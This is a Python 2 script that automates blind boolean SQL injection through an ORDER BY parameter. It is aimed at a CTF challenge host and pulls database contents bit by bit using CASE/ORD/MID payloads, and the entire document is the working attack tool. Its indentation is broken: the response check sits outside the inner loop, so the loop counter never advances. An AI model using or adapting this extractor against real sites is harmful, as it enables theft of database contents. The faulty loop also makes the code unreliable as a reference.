# ORDER BY data extractor (bogdan [at] acunetix.com)
import httplib, urllib, sys, string
from string import replace
# various configuration parameters
HOSTNAME = "ctf.xdsec.org"
PORT = "2013"
URL = "/hackgame/injection/index.php?order="
# the string that is returned when the condition is true
#TRUE_STRING = "1 - <b>admin</b> - Clear Rivers - admin@email.com<br> 3- <b>John</b>"
TRUE_STRING = "<td>1</td><td>欢迎来到西电网络攻防大赛</td><td>2013-09-30</td></tr><tr><td>2</td><td>西电网络攻防大赛已成功举办三届，本届为第四届</td><td>2013-09-30</td></tr><tr><td>3</td><td>参赛选手以队为单位参赛，每队1-3人，每名选手只能参加一支参赛队伍</td><td>2013-10-01</td></tr><tr><td>4</td><td>全国各地的安全技术爱好者均可参赛，特别鼓励在校学生参赛。各参赛队应该如实填写个人信息，参赛队所有核心</td>"
# function to perform the actual data extraction using boolean queries
def extract_data(extract_data_query):
      print "Query: " + extract_data_query
      result = ""
      # bits array
      bits = [1, 2, 4, 8, 16, 32, 64, 128]
      char = 1
      while (1):
            i = 0
            value = 0
            while (i < 8):
                 # prepare request
                 h1 = httplib.HTTPConnection(HOSTNAME, PORT, timeout=20)
                 params = {}
                 # http headers
                 headers = {"Host": HOSTNAME,
                             "Accept": "*/*",
                             "User-Agent": "Mozilla/4.0 (Acunetix WVS)"}
                 # prepare SQL query
                 query = "(case when (ORD(MID((" + extract_data_query + ")," + str(char) + ",1))& " + str(bits[i]) + " >0) then id else 3 end)"
                 # make HTTP request
                 h1.request("GET", URL + urllib.quote_plus(query), params, headers)
                 try:
                      r1 = h1.getresponse()
                 except:
                      print "error ..."
                      sys.exit()
                 # check HTTP status code (we are looking for a 200 response)
                 if r1.status <> 200:
                      print "invalid status code: " + str(r1.status)
                      sys.exit()
            # good status code, move on ...
            data = r1.read()
            # determine bit value based on data, search true string
            if string.find(data, TRUE_STRING) != -1:
                print "1",
                value = value + bits[i]
            else:
                print "0",
            h1.close()
            # move to the next bit
            i = i + 1
       # game over?
      if value == 0:
           print " DONE"
           return result
      else:
           print " => " + str(value) + " => '" + chr(value) + "'"
           # save the current char, move on to the next one
           result = result + chr(value)
           char = char + 1
# main function
def main():
    # check for input params
    if len(sys.argv)<=1:
        print "usage orderby.py SQL_QUERY_TO_EXTRACT_DATA"
        sys.exit()
    query = sys.argv[1]
    print "[*] ORDER BY data extractor (bogdan [at] acunetix.com) [*]"
    print ""
    # extract the data
    data = extract_data(query)
    print ""
    print "result => " + data
if __name__ == '__main__':
    main()
